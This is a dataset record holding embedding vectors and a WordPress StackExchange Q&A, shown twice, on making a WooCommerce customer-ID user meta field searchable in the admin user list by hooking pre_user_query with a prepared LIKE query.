-0.0305938720703125, 0.005596160888671875, -0.044891357421875, -0.0152435302734375, -0.0192413330078125, -0.0157318115234375, 0.0213165283203125, 0.041534423828125, 0.002048492431640625, 0.01043701171875, -0.017486572265625, 0.0028209686279296875, -0.0207977294921875, 0.03533935546875, -0.040679931640625, -0.00688934326171875, 0.015716552734375, 0.0007505416870117188, 0.0310821533203125, -0.01235198974609375, 0.02972412109375, -0.0151519775390625, -0.020965576171875, -0.0010528564453125, -0.0153656005859375, -0.0289764404296875, 0.072265625, 0.0501708984375, -0.00823211669921875, 0.02679443359375, 0.042694091796875, 0.017303466796875, -0.0130157470703125, -0.022125244140625, -0.0081634521484375, -0.0200958251953125, 0.009796142578125, -0.004486083984375, 0.02301025390625, 0.0276336669921875, -0.006145477294921875, 0.01319122314453125, 0.08209228515625, 0.06390380859375, -0.1181640625, -0.0029773712158203125, -0.0112152099609375, -0.0008392333984375, 0.049652099609375, 0.0004744529724121094, 0.0047607421875, -0.05029296875, 0.0300445556640625, -0.032806396484375, -0.00879669189453125, -0.0202178955078125, -0.033782958984375, 0.005466461181640625, -0.00489044189453125, 0.0484619140625, 0.0180816650390625, -0.0169219970703125, -0.0190582275390625, 0.026824951171875, -0.003620147705078125, -0.01226806640625, -0.0011119842529296875, 0.039886474609375, -0.0305938720703125, -0.053955078125, 0.0341796875, -0.029876708984375, -0.0137786865234375, 0.046600341796875, 0.00785064697265625, 0.004230499267578125, 0.026275634765625, -0.0032958984375, -0.011474609375, 0.0006022453308105469, -0.0765380859375, 0.0162200927734375, 0.0094146728515625, 0.007282257080078125, 0.057403564453125, -0.0643310546875, 0.01387786865234375, -0.03924560546875, 0.034393310546875, -0.020660400390625, -0.062347412109375, 0.06402587890625, -0.025054931640625, -0.01557159423828125, -0.0200653076171875, 0.03265380859375, 0.033843994140625, -0.020782470703125, -0.004871368408203125, -0.0262603759765625, 0.026214599609375, -0.0198822021484375, -0.0008778572082519531, 0.015411376953125, -0.0255279541015625, -0.09075927734375, 0.0775146484375, 0.0068206787109375, 0.057647705078125, 0.0078125, 0.0171356201171875, -0.0306396484375, -0.01360321044921875, -0.0352783203125, 0.041229248046875, 0.0275421142578125, 0.03509521484375, -0.01555633544921875, 0.0035648345947265625, 0.031982421875, -0.0093231201171875, 0.0252838134765625, -0.0037212371826171875, 0.02667236328125, 0.01363372802734375, 0.0755615234375, 0.038360595703125, -0.00482177734375, 0.00757598876953125, -0.0131988525390625, 0.012481689453125, 0.0289459228515625, -0.025299072265625, 0.035919189453125, -0.002094268798828125, -0.0253143310546875, 0.0151519775390625, 0.022430419921875, 0.03314208984375, 0.02093505859375, -0.0009465217590332031, -0.0121612548828125, -0.0009889602661132812, 0.0160980224609375, -0.03631591796875, 0.016937255859375, 0.045623779296875, 0.025238037109375, -0.04876708984375, 0.0225677490234375, -0.046295166015625, 0.06610107421875, -0.0103912353515625, 0.047882080078125, 0.0224609375, 0.0235595703125, 0.0185699462890625, -0.028594970703125, 0.02581787109375, -0.0037631988525390625, -0.032470703125, 0.05499267578125, -0.00435638427734375, 0.022369384765625, -0.063720703125, 0.00506591796875, 0.00962066650390625, 0.057952880859375, -0.04425048828125, -0.03143310546875, 0.01023101806640625, 0.002559661865234375, 0.0164947509765625, -0.0197601318359375, 0.033172607421875, -0.0170135498046875, -0.0116424560546875, -0.046417236328125, -0.004993438720703125, 0.044189453125, 0.044036865234375, 0.0036067962646484375, 0.01314544677734375, -0.047149658203125, -0.04779052734375, -0.054046630859375, 0.0167388916015625, 0.019683837890625, 0.03009033203125, 0.042694091796875, 0.0225372314453125, 0.03741455078125, -0.00899505615234375, 0.0042724609375, -0.0158843994140625, -0.005157470703125, -0.01016998291015625, 0.00650787353515625, -0.00444793701171875, 0.000904083251953125, 0.0233001708984375, 0.0325927734375, -0.018798828125, 0.0263824462890625, 0.00858306884765625, -0.026397705078125, -0.0029354095458984375, -0.01751708984375, -0.0131988525390625, 0.05419921875, -0.064453125, 0.04766845703125, 0.0193634033203125, -0.00539398193359375, -0.0187835693359375, -0.031646728515625, 0.0733642578125, -0.0229034423828125, 0.00616455078125, 0.0009965896606445312, -0.0243682861328125, 0.041534423828125, -0.0204925537109375, 0.00897979736328125, -0.0070648193359375, -0.0703125, -0.003597259521484375, 0.0092620849609375, -0.043182373046875, -0.0035724639892578125, 0.0231170654296875, -0.03314208984375, 0.034881591796875, 0.0174102783203125, -0.00920867919921875, -0.0226898193359375, 0.01508331298828125, 0.0138397216796875, -0.030029296875, 0.00722503662109375, -0.01617431640625, -0.01129150390625, -0.01166534423828125, 0.01505279541015625, 0.044830322265625, -0.0219268798828125, 0.06878662109375, -0.03436279296875, 0.0022678375244140625, -0.0137786865234375, -0.03509521484375, 0.042999267578125, 0.01385498046875, -0.0152587890625, 0.035919189453125, -0.0199432373046875, -0.0305938720703125, -0.037750244140625, 0.0264892578125, 0.0091094970703125, 0.01171875, 0.034088134765625, -0.05291748046875, 0.0191497802734375, -0.0081939697265625, -0.01904296875, -0.0545654296875, -0.04132080078125, -0.04052734375, -0.01305389404296875, 0.01561737060546875, -0.01453399658203125, -0.00960540771484375, 0.0224761962890625, -0.0175628662109375, -0.023681640625, -0.006786346435546875, -0.0201263427734375, -0.0189208984375, 0.0289306640625, 0.0242767333984375, -0.008544921875, 0.0390625, -0.011383056640625, 0.0207366943359375, 0.016876220703125, 0.0137786865234375, 0.02947998046875, -0.060699462890625, -0.038970947265625, -0.0134124755859375, 0.01496124267578125, -0.0015745162963867188, -0.0011472702026367188, -0.04766845703125, 0.0035037994384765625, -0.0291595458984375, 0.00855255126953125, -0.00485992431640625, -0.0281524658203125, -0.035003662109375, 0.009307861328125, -0.027191162109375, -0.01084136962890625, 0.00792694091796875, -0.040130615234375, 0.0009822845458984375, 0.004985809326171875, -0.050750732421875, 0.0220794677734375, 0.016571044921875, -0.00033211708068847656, -0.03826904296875, -0.0247344970703125, -0.0170745849609375, -0.012054443359375, -0.0174560546875, -0.04730224609375, -0.05401611328125, 0.0538330078125, -0.042816162109375, 0.010406494140625, 0.03546142578125, -0.030670166015625, -0.0355224609375, 0.00525665283203125, 0.0274200439453125, 0.04791259765625, 0.004436492919921875, -0.00418853759765625, 0.0233612060546875, 0.005397796630859375, -0.0391845703125, -0.08331298828125, 0.01485443115234375, -0.0753173828125, -0.0258331298828125, -0.00466156005859375, -0.036712646484375, -0.0347900390625, -0.052398681640625, -0.070556640625, 0.107421875, -0.008331298828125, -0.0191497802734375, -0.01959228515625, 0.020416259765625, 0.013092041015625, -0.03204345703125, -0.0170745849609375, -0.006622314453125, -0.0228118896484375, -0.003635406494140625, 0.01363372802734375, 0.0325927734375, -0.0020275115966796875, 0.041717529296875, 0.011749267578125, 0.06524658203125, 0.0400390625, -0.000881195068359375, 0.031524658203125, -0.023193359375, 0.0268096923828125, 0.01348876953125, -0.05126953125, -0.0210723876953125, -0.0193939208984375, -0.03778076171875, -0.0241851806640625, -0.02783203125, -0.0116729736328125, 0.0011548995971679688, 0.06707763671875, 0.08294677734375, 0.015960693359375, -0.04833984375, -0.0122222900390625, -0.023956298828125, -0.0075225830078125, -0.016082763671875, 0.0287628173828125, -0.08172607421875, -0.02337646484375, 0.042449951171875, 0.01363372802734375, 0.0150299072265625, -0.07073974609375, 0.0016736984252929688, -0.0193939208984375, -0.01219940185546875, 0.02880859375, -0.0172882080078125, 0.07196044921875, 0.00821685791015625, -0.0249481201171875, 0.02764892578125, -0.0482177734375, -0.013671875, 0.01184844970703125, -0.0836181640625, -0.01922607421875, -0.05657958984375, 0.0254058837890625, 0.054595947265625, 0.00676727294921875, -0.0149688720703125, -0.0208892822265625, -0.0014667510986328125, -0.022308349609375, 0.0218353271484375, 0.0253143310546875, 0.04058837890625, -0.047088623046875, 0.04229736328125, 0.032073974609375, -0.0175323486328125, -0.0285186767578125, -0.01708984375, -0.04541015625, 0.042633056640625, -0.006076812744140625, -0.00476837158203125, 0.03961181640625, 0.0034847259521484375, -0.00594329833984375, -0.0216522216796875, -0.010894775390625, -0.08795166015625, 0.0051116943359375, -0.0230255126953125, 0.002685546875, 0.0257568359375 ]
9108f04e2aba7d076734f342b97b2ead0a8a3fcb
Wordpress Stackexchange Q: Searchable meta value in user.php I have created a new column in the user table list (admin page) and would like the column to be searchable in the search query, How do i add the meta to the search users query ? /** * Create user column (admin panel) */ add_filter( 'manage_users_columns', 'new_modify_user_table' ); function new_modify_user_table( $column ) { $column['kundnummer'] = 'Kundnummer'; return $column; } /** * Add content to user column (admin panel) */ add_filter( 'manage_users_custom_column', 'new_modify_user_table_row', 10, 3 ); function new_modify_user_table_row( $val, $column_name, $user_id ) { switch ($column_name) { case 'kundnummer' : return get_user_meta( $user_id, 'woocommerce_customer_id', true ); break; default: } return $val; } Solution /** * Searching Meta Data in Admin */ add_action('pre_user_query','yoursite_pre_user_search'); function yoursite_pre_user_search($user_search) { global $wpdb; if (!isset($_GET['s'])) return; //Enter Your Meta Fields To Query $search_array = array("customer_id", "woocommerce_customer_id", "first_name", "last_name"); $user_search->query_from .= " INNER JOIN {$wpdb->usermeta} ON {$wpdb->users}.ID={$wpdb->usermeta}.user_id AND ("; for($i=0;$i<count($search_array);$i++) { if ($i > 0) $user_search->query_from .= " OR "; $user_search->query_from .= "{$wpdb->usermeta}.meta_key='" . $search_array[$i] . "'"; } $user_search->query_from .= ")"; $custom_where = $wpdb->prepare("{$wpdb->usermeta}.meta_value LIKE '%s'", "%" . $_GET['s'] . "%"); $user_search->query_where = str_replace('WHERE 1=1 AND (', "WHERE 1=1 AND ({$custom_where} OR ",$user_search->query_where); }
Q: Searchable meta value in user.php I have created a new column in the user table list (admin page) and would like the column to be searchable in the search query, How do i add the meta to the search users query ? /** * Create user column (admin panel) */ add_filter( 'manage_users_columns', 'new_modify_user_table' ); function new_modify_user_table( $column ) { $column['kundnummer'] = 'Kundnummer'; return $column; } /** * Add content to user column (admin panel) */ add_filter( 'manage_users_custom_column', 'new_modify_user_table_row', 10, 3 ); function new_modify_user_table_row( $val, $column_name, $user_id ) { switch ($column_name) { case 'kundnummer' : return get_user_meta( $user_id, 'woocommerce_customer_id', true ); break; default: } return $val; } Solution /** * Searching Meta Data in Admin */ add_action('pre_user_query','yoursite_pre_user_search'); function yoursite_pre_user_search($user_search) { global $wpdb; if (!isset($_GET['s'])) return; //Enter Your Meta Fields To Query $search_array = array("customer_id", "woocommerce_customer_id", "first_name", "last_name"); $user_search->query_from .= " INNER JOIN {$wpdb->usermeta} ON {$wpdb->users}.ID={$wpdb->usermeta}.user_id AND ("; for($i=0;$i<count($search_array);$i++) { if ($i > 0) $user_search->query_from .= " OR "; $user_search->query_from .= "{$wpdb->usermeta}.meta_key='" . $search_array[$i] . "'"; } $user_search->query_from .= ")"; $custom_where = $wpdb->prepare("{$wpdb->usermeta}.meta_value LIKE '%s'", "%" . $_GET['s'] . "%"); $user_search->query_where = str_replace('WHERE 1=1 AND (', "WHERE 1=1 AND ({$custom_where} OR ",$user_search->query_where); }
wordpress
{ "language": "en", "length": 192, "provenance": "stackexchange_00019.jsonl.gz:486254", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/303776" }
[ 0.043426513671875, -0.007495880126953125, 0.031036376953125, -0.0088348388671875, 0.006999969482421875, -0.014190673828125, 0.0245513916015625, -0.05169677734375, 0.04718017578125, 0.04705810546875, -0.045501708984375, 0.00533294677734375, 0.01727294921875, 0.01428985595703125, -0.06201171875, -0.01535797119140625, 0.0276641845703125, -0.0106658935546875, 0.01318359375, 0.00928497314453125, 0.004688262939453125, 0.03887939453125, -0.0037555694580078125, -0.01129150390625, 0.0218658447265625, -0.045684814453125, 0.042572021484375, -0.02032470703125, 0.042694091796875, -0.004817962646484375, 0.01210784912109375, -0.017425537109375, 0.0016260147094726562, -0.01226806640625, 0.045257568359375, -0.0168609619140625, 0.0308990478515625, 0.00798797607421875, 0.0338134765625, -0.00868988037109375, 0.03533935546875, -0.0220947265625, -0.07220458984375, 0.019500732421875, -0.041290283203125, -0.0601806640625, 0.052886962890625, -0.01108551025390625, 0.055267333984375, 0.020660400390625, -0.01514434814453125, 0.0509033203125, -0.00653076171875, -0.07061767578125, 0.01158905029296875, 0.0098419189453125, -0.054443359375, -0.030609130859375, 0.0308074951171875, 0.0413818359375, 0.0113677978515625, -0.042144775390625, -0.00606536865234375, -0.037261962890625, 0.01015472412109375, -0.01332855224609375, 0.0230865478515625, 0.0182342529296875, -0.0066680908203125, -0.01520538330078125, 0.0242767333984375, 0.0178680419921875, 0.0012750625610351562, 0.0174560546875, -0.02362060546875, -0.0230560302734375, 0.034332275390625, 0.0032444000244140625, -0.0012826919555664062, 0.0246124267578125, -0.01479339599609375, -0.0226593017578125, -0.00399017333984375, -0.0198974609375, -0.0025615692138671875, -0.006526947021484375, -0.0164031982421875, 0.0128936767578125, -0.0193939208984375, -0.0207061767578125, -0.003757476806640625, -0.035888671875, -0.03570556640625, 0.00865936279296875, -0.0104827880859375, -0.03302001953125, 0.01352691650390625, 0.048248291015625, 0.01218414306640625, 0.023834228515625, 0.0231475830078125, -0.051116943359375, 0.0088348388671875, -0.03271484375, 0.011505126953125, 0.0164642333984375, -0.0294342041015625, 0.0185699462890625, 0.031494140625, 0.04425048828125, 0.006740570068359375, -0.004589080810546875, -0.0262298583984375, -0.026397705078125, -0.007518768310546875, 0.04071044921875, -0.02545166015625, -0.0061798095703125, -0.003864288330078125, 0.0160369873046875, 0.0170440673828125, 0.016815185546875, 0.0008955001831054688, -0.01519775390625, -0.008270263671875, -0.035675048828125, -0.042877197265625, 0.0254974365234375, -0.018402099609375, -0.004001617431640625, -0.0215911865234375, 0.0176544189453125, 0.049285888671875, 0.0574951171875, 0.01241302490234375, -0.00669097900390625, -0.005764007568359375, -0.0212860107421875, -0.02825927734375, 0.0233306884765625, 0.022003173828125, -0.056488037109375, -0.0290374755859375, 0.00653839111328125, 0.006046295166015625, -0.004589080810546875, 0.0179595947265625, 0.0229034423828125, 0.01116180419921875, -0.0268096923828125, -0.01436614990234375, 0.02056884765625, 0.03173828125, 0.00450897216796875, -0.034027099609375, 0.06182861328125, 0.01165771484375, 0.0146026611328125, -0.0748291015625, -0.0037822723388671875, 0.0024566650390625, 0.004398345947265625, 0.03564453125, -0.045806884765625, -0.051788330078125, 0.00543212890625, -0.07049560546875, -0.019012451171875, 0.0155792236328125, 0.0190277099609375, 0.0097198486328125, 0.011322021484375, 0.034820556640625, -0.006046295166015625, -0.0157928466796875, -0.01459503173828125, 0.00008100271224975586, 0.040985107421875, 0.0262603759765625, -0.004425048828125, -0.008056640625, -0.0307159423828125, 0.10211181640625, -0.03192138671875, -0.047943115234375, 0.07244873046875, 0.0173492431640625, 0.0672607421875, -0.01131439208984375, 0.00887298583984375, 0.036590576171875, 0.03802490234375, -0.00582122802734375, 0.03179931640625, -0.0265045166015625, -0.04766845703125, 0.00678253173828125, -0.00296783447265625, -0.0277557373046875, 0.024932861328125, 0.0703125, 0.0242156982421875, 0.0117034912109375, -0.035888671875, -0.0565185546875, 0.0201873779296875, -0.026214599609375, 0.03167724609375, -0.037200927734375, -0.00389862060546875, 0.021392822265625, -0.0013761520385742188, -0.017303466796875, 0.00726318359375, -0.00004410743713378906, 0.00638580322265625, -0.015228271484375, 0.042327880859375, 0.0152587890625, 0.0248260498046875, 0.01387786865234375, -0.0283050537109375, 0.027496337890625, 0.0169219970703125, 0.05474853515625, 0.00434112548828125, -0.01094818115234375, -0.00817108154296875, 0.059478759765625, 0.01343536376953125, 0.006229400634765625, 0.0232391357421875, 0.034942626953125, 0.0261383056640625, -0.01483917236328125, 0.025604248046875, 0.0032901763916015625, -0.03399658203125, -0.0175323486328125, 0.026519775390625, 0.037628173828125, 0.019775390625, 0.0097808837890625, 0.00988006591796875, 0.06951904296875, -0.01763916015625, 0.0177001953125, -0.01309967041015625, -0.013275146484375, 0.03857421875, -0.035369873046875, 0.003162384033203125, 0.0184173583984375, -0.0304412841796875, -0.0195465087890625, 0.05517578125, -0.020355224609375, 0.0321044921875, 0.006381988525390625, -0.0095977783203125, -0.0264129638671875, -0.035430908203125, 0.0189056396484375, -0.0196990966796875, 0.009552001953125, 0.038116455078125, 0.03857421875, 0.023956298828125, -0.050628662109375, 0.0175018310546875, 0.032073974609375, 0.048858642578125, 0.0029697418212890625, -0.0173187255859375, -0.025848388671875, 0.04022216796875, -0.033294677734375, 0.0333251953125, 0.00830841064453125, -0.023712158203125, 0.022613525390625, 0.0204620361328125, -0.02142333984375, 0.01351165771484375, 0.004703521728515625, -0.01354217529296875, 0.0105133056640625, 0.06268310546875, -0.0037364959716796875, 0.0097198486328125, 0.052093505859375, -0.0024166107177734375, -0.007595062255859375, 0.0196380615234375, -0.05780029296875, -0.01230621337890625, -0.0013017654418945312, 0.01224517822265625, 0.005157470703125, -0.01042938232421875, 0.01202392578125, 0.04376220703125, -0.008514404296875, 0.01146697998046875, -0.005954742431640625, -0.0266265869140625, -0.050079345703125, 0.03662109375, -0.0118865966796875, -0.041534423828125, -0.00522613525390625, 0.044708251953125, 0.0261077880859375, 0.0440673828125, 0.00974273681640625, -0.02056884765625, -0.00257110595703125, 0.02716064453125, -0.0499267578125, -0.077880859375, -0.01116943359375, -0.03887939453125, -0.01361083984375, -0.01904296875, -0.0165557861328125, 0.01715087890625, 0.0017538070678710938, 0.01218414306640625, 0.036834716796875, -0.015869140625, -0.049652099609375, -0.01522064208984375, -0.04656982421875, 0.023956298828125, -0.01078033447265625, -0.00905609130859375, -0.013763427734375, 0.033599853515625, -0.00508880615234375, -0.035736083984375, -0.005420684814453125, 0.056060791015625, 0.018280029296875, -0.0093994140625, 0.00965118408203125, -0.0467529296875, 0.0277099609375, -0.00968170166015625, 0.05462646484375, 0.0191192626953125, -0.0191802978515625, 0.0101470947265625, 0.024383544921875, -0.005397796630859375, 0.04119873046875, -0.039306640625, -0.053131103515625, 0.0209197998046875, 0.047332763671875, -0.0224151611328125, -0.003231048583984375, -0.00807952880859375, -0.0106658935546875, 0.004177093505859375, -0.0183563232421875, 0.0038604736328125, 0.00970458984375, 0.0126800537109375, 0.054718017578125, 0.050384521484375, 0.006740570068359375, 0.011993408203125, -0.04815673828125, 0.00762176513671875, 0.035400390625, -0.0261383056640625, 0.051666259765625, -0.0221710205078125, -0.01052093505859375, 0.0243682861328125, 0.01009368896484375, 0.048126220703125, -0.0227508544921875, 0.04364013671875, -0.0307769775390625, 0.07000732421875, -0.01227569580078125, 0.0021114349365234375, -0.06298828125, -0.03851318359375, -0.03936767578125, 0.08880615234375, -0.0233917236328125, -0.019287109375, 0.018096923828125, 0.011444091796875, -0.048187255859375, 0.035736083984375, -0.06439208984375, 0.01094818115234375, -0.099609375, -0.023223876953125, -0.022705078125, -0.03662109375, 0.0127105712890625, -0.022430419921875, -0.029296875, -0.058197021484375, 0.004756927490234375, 0.0256805419921875, 0.009368896484375, 0.0274658203125, -0.02972412109375, 0.034454345703125, 0.00276947021484375, -0.0157318115234375, -0.0948486328125, -0.0234832763671875, 0.0155181884765625, 0.05279541015625, -0.0014429092407226562, -0.020263671875, -0.044158935546875, 0.037078857421875, -0.0130767822265625, 0.049896240234375, -0.032684326171875, -0.01093292236328125, 0.02001953125, -0.0146942138671875, -0.0166473388671875, -0.00212860107421875, -0.0164031982421875, -0.049285888671875, 0.0160980224609375, -0.00902557373046875, -0.04547119140625, 0.0100555419921875, -0.0318603515625, 0.0081024169921875, -0.01910400390625, -0.049835205078125, -0.020477294921875, 0.01354217529296875, -0.06048583984375, 0.020416259765625, -0.029815673828125, -0.0286712646484375, 0.055206298828125, -0.03509521484375, -0.0150604248046875, -0.0035419464111328125, 0.03509521484375, 0.01788330078125, -0.03680419921875, 0.023529052734375, 0.01220703125, 0.0241851806640625, 0.0182342529296875, 0.01495361328125, -0.020782470703125, -0.0100555419921875, 0.0230560302734375, -0.005558013916015625, -0.00666046142578125, -0.003589630126953125, 0.035491943359375, -0.0238494873046875, -0.059661865234375, 0.04150390625, -0.032012939453125, -0.01129913330078125, 0.01861572265625, -0.020233154296875, -0.0176849365234375, -0.0155487060546875, 0.039276123046875, -0.006198883056640625, 0.033782958984375, -0.019012451171875, -0.039031982421875, 0.0068206787109375, -0.047210693359375, 0.027557373046875, -0.0212860107421875, 0.007465362548828125, 0.00949859619140625, 0.01483154296875, -0.00931549072265625, -0.0180816650390625, -0.01434326171875, -0.0064849853515625, 0.021209716796875, -0.031158447265625, 0.002689361572265625, -0.02630615234375, -0.01139068603515625, 0.057159423828125, -0.012908935546875, -0.0228271484375, -0.0286407470703125, -0.0227508544921875, 0.0049896240234375, 0.0287322998046875, -0.021240234375, 0.041168212890625, 0.045440673828125, -0.00289154052734375, 0.000377655029296875, -0.0362548828125, 0.036102294921875, -0.0523681640625, 0.00807952880859375, 0.0101318359375, 0.000054001808166503906, -0.0210723876953125, 0.12060546875, -0.032135009765625, 0.0657958984375, -0.0175933837890625, 0.056732177734375, 0.0289154052734375, 0.043426513671875, -0.0002396106719970703, -0.0175933837890625, -0.00434112548828125, 0.033294677734375, -0.00017452239990234375, -0.0103607177734375, 0.0212249755859375, 0.000021457672119140625, -0.002010345458984375, 0.010009765625, -0.004413604736328125, 0.0224151611328125, -0.019195556640625, -0.0003657341003417969, 0.0036869049072265625, -0.006496429443359375, -0.0152740478515625, -0.031280517578125, -0.038116455078125, -0.00020313262939453125, -0.0167083740234375, 0.007015228271484375, -0.004390716552734375, -0.06378173828125, 0.0016431808471679688, -0.02313232421875, 0.0379638671875, -0.059539794921875, -0.063232421875, -0.0148162841796875, -0.00751495361328125, 0.00897216796875, -0.05322265625, -0.01654052734375, -0.02764892578125, -0.0111083984375, 0.082275390625, -0.024810791015625, 0.0311737060546875, -0.026885986328125, 0.007495880126953125, -0.02288818359375, 0.02142333984375, 0.01291656494140625, 0.00415802001953125, -0.0253753662109375, -0.036376953125, -0.053741455078125, -0.032073974609375, 0.03570556640625, 0.0193939208984375, 0.01172637939453125, -0.002681732177734375, 0.027130126953125, 0.02886962890625, 0.00286865234375, -0.050201416015625, -0.0203399658203125, -0.026947021484375, 0.043487548828125, 0.01232147216796875, -0.040496826171875, 0.0457763671875, -0.0113677978515625, 0.0209808349609375, -0.0089569091796875, 0.01543426513671875, 0.0120849609375, -0.0010013580322265625, -0.002773284912109375, -0.0123748779296875, -0.040435791015625, -0.009490966796875, -0.041961669921875, 0.02203369140625, 0.07049560546875, -0.0170135498046875, 0.0214080810546875, 0.0014963150024414062, 0.001766204833984375, -0.0304107666015625, 0.0181884765625, -0.01442718505859375, 0.0192718505859375, 0.0233917236328125, -0.0022411346435546875, 0.017333984375, -0.036956787109375, -0.0247344970703125, 0.0304107666015625, -0.01039886474609375, 0.0215606689453125, -0.0002162456512451172, -0.06317138671875, 0.07635498046875, 0.017974853515625, 0.004795074462890625, 0.0273895263671875, -0.031951904296875, 0.025421142578125, -0.01140594482421875, -0.0285186767578125, 0.0002830028533935547, 0.05340576171875, 0.060882568359375, -0.01386260986328125, -0.0015583038330078125, 0.051300048828125, -0.0162353515625, 0.0018262863159179688, 0.053314208984375, 0.0438232421875, -0.09716796875, 0.00977325439453125, 0.00775146484375, -0.002613067626953125, -0.0125579833984375, 0.0247039794921875, 0.005168914794921875, -0.005062103271484375, 0.02032470703125, -0.025726318359375, 0.00028133392333984375, 0.0114593505859375, -0.0081939697265625, -0.0006346702575683594, -0.002025604248046875, 0.0121002197265625, -0.00783538818359375, 0.02667236328125, -0.039703369140625, -0.03033447265625, 0.0226898193359375, -0.01126861572265625, 0.042510986328125, 0.003009796142578125, 0.003879547119140625, -0.07647705078125, -0.0085906982421875, 0.00453948974609375, -0.0290679931640625, 0.025115966796875, 0.0457763671875, 0.02996826171875, 0.01390838623046875, 0.035858154296875, -0.02606201171875, -0.021209716796875, 0.0145111083984375, -0.0214691162109375, -0.03900146484375, -0.01629638671875, 0.020355224609375, -0.0304718017578125, 0.0245513916015625, -0.0277557373046875, -0.0058441162109375, -0.007480621337890625, 0.0008678436279296875, 0.047882080078125, 0.0032367706298828125, -0.03729248046875, 0.01654052734375, 0.02960205078125, -0.006122589111328125, 0.02203369140625, 0.0108184814453125, -0.0567626953125, -0.034759521484375, 0.016326904296875, -0.0445556640625, -0.0038909912109375, 0.02978515625, -0.03924560546875, 0.00925445556640625, -0.00914764404296875, -0.0035190582275390625, 0.000023663043975830078, 0.007472991943359375, 0.0175933837890625, -0.005237579345703125, -0.038116455078125, 0.0648193359375, -0.0006694793701171875, 0.09295654296875, -0.06646728515625, -0.0189361572265625, 0.04315185546875, 0.057098388671875, 0.04754638671875, 0.01226043701171875, -0.028533935546875, -0.039825439453125, 0.00208282470703125, 0.004024505615234375, -0.0167236328125, 0.0484619140625, 0.0018482208251953125, 0.054656982421875, 0.07208251953125, -0.0264739990234375, 0.03387451171875, 0.006633758544921875, -0.0203094482421875, 0.02655029296875, -0.00714111328125, 0.001453399658203125, -0.00511932373046875, 0.0259246826171875, -0.0025463104248046875, -0.021331787109375, 0.0016012191772460938, -0.06353759765625, -0.0098724365234375, 0.01004791259765625, -0.0032062530517578125, -0.007465362548828125, -0.04058837890625, -0.017608642578125, 0.01318359375, 0.0207061767578125, 0.046417236328125, 0.028564453125, 0.0088043212890625, 0.0858154296875, 0.01497650146484375, 0.0290985107421875, 0.0251617431640625, 0.01042938232421875, 0.0625, 0.01605224609375, 0.0132293701171875, -0.0330810546875, 0.045562744140625, 0.0251007080078125, 0.06097412109375, -0.053314208984375, -0.024383544921875, 0.0036106109619140625, -0.0014896392822265625, 0.006092071533203125, 0.0306243896484375, 0.00786590576171875, 0.0187530517578125, 0.0220947265625, -0.074462890625, 0.042999267578125, 0.01053619384765625, 0.0001316070556640625, -0.040252685546875, 0.0168914794921875, -0.032623291015625, 0.034576416015625, -0.019622802734375, 0.01380157470703125, 0.00629425048828125, 0.027008056640625, 0.0147552490234375, 0.0284576416015625, 0.019866943359375, -0.007045745849609375, -0.012481689453125, -0.0007357597351074219, -0.01094818115234375, 0.020843505859375, -0.05078125, -0.0251007080078125, 0.015228271484375, 0.04876708984375, 0.005512237548828125, 0.01593017578125, 0.00809478759765625, -0.00585174560546875, -0.00933074951171875, 0.0078125, 0.019775390625, -0.031402587890625, 0.0174102783203125, -0.02081298828125, 0.039459228515625, 0.001819610595703125, 0.0210113525390625, -0.0482177734375, 0.0616455078125, -0.0027370452880859375, 0.0228424072265625, 0.0199432373046875, 0.00946807861328125, -0.0352783203125, -0.0030536651611328125, -0.028106689453125, 0.08251953125, 0.03631591796875, -0.0675048828125, 0.004688262939453125, -0.00876617431640625, -0.0604248046875, -0.003986358642578125, 0.026275634765625, -0.036712646484375, 0.032012939453125, -0.0163421630859375, -0.0372314453125, -0.0036373138427734375, 0.02752685546875, 0.020965576171875, 0.0207061767578125, -0.011810302734375, -0.0107574462890625, -0.0268402099609375, -0.01296234130859375, 0.01261138916015625, 0.010528564453125, -0.01702880859375, 0.0487060546875, -0.00601959228515625, -0.00457000732421875, -0.05169677734375, -0.0379638671875, -0.0053558349609375, -0.081787109375, 0.087890625, -0.0215911865234375, -0.04425048828125, 0.0042266845703125, 0.0095672607421875, -0.0025539398193359375, 0.0506591796875, -0.0257568359375, -0.0176544189453125, 0.00734710693359375, 0.02734375, -0.0086669921875, 0.00879669189453125, -0.0168914794921875, -0.003612518310546875, -0.006900787353515625, -0.0114593505859375, 0.0538330078125, 0.0191650390625, -0.018707275390625, 0.0270843505859375, 0.0295257568359375, 0.00821685791015625, 0.0089569091796875, 0.002727508544921875, 0.041717529296875, 0.053253173828125, -0.0276031494140625, 0.0200042724609375, -0.0169525146484375, -0.0205841064453125, 0.0203704833984375, 0.00738525390625, -0.0235137939453125, 0.01114654541015625, -0.0313720703125, 0.0296783447265625, 0.055145263671875, 0.06365966796875, -0.00397491455078125, 0.0207061767578125, 0.01313018798828125, -0.0220947265625, 0.0278167724609375, -0.013671875, -0.025238037109375, 0.00018227100372314453, -0.000568389892578125, 0.0123443603515625, 0.03204345703125, -0.032196044921875, -0.031951904296875, 0.0218505859375, 0.047943115234375, 0.03338623046875, -0.09112548828125, 0.04656982421875, 0.00893402099609375, 0.03790283203125, 0.0364990234375, -0.021392822265625, 0.01216888427734375, 0.0533447265625, -0.01092529296875, -0.00006127357482910156, -0.022979736328125, -0.0142974853515625, -0.012451171875, -0.00626373291015625, 0.0316162109375, 0.01580810546875, -0.0208892822265625, 0.0008835792541503906, -0.04010009765625, 0.042144775390625, -0.043670654296875, -0.029510498046875, 0.0233001708984375, -0.00908660888671875, 0.0094146728515625, -0.0927734375, -0.03302001953125, -0.0718994140625, 0.04510498046875, 0.0019044876098632812, 0.0139312744140625, 0.044830322265625, -0.0274658203125, -0.1160888671875, 0.04754638671875, -0.027252197265625, -0.04425048828125, -0.050079345703125, -0.0116424560546875, -0.020599365234375, -0.0245361328125, -0.0254974365234375, -0.0168304443359375, -0.028106689453125, 0.0556640625, 0.01502227783203125, -0.0276336669921875, 0.050689697265625, -0.0167999267578125, -0.07269287109375, -0.0056915283203125, -0.0028476715087890625, 0.0061798095703125, 0.021759033203125, -0.007030487060546875, 0.0263671875, 0.01470184326171875, -0.0273284912109375, -0.0234527587890625, -0.007724761962890625, -0.0280609130859375, -0.00557708740234375, -0.012786865234375, -0.0260162353515625, -0.023681640625, 0.06817626953125, 0.01031494140625, 0.0252227783203125, -0.00273895263671875, -0.0141448974609375, -0.00856781005859375, -0.01064300537109375, -0.01525115966796875, 0.005950927734375, -0.048248291015625, 0.01291656494140625, -0.0005297660827636719, -0.022247314453125, 0.01268768310546875, 0.03350830078125, -0.0184783935546875, 0.0151519775390625, 0.0843505859375, 0.005870819091796875, -0.06884765625, 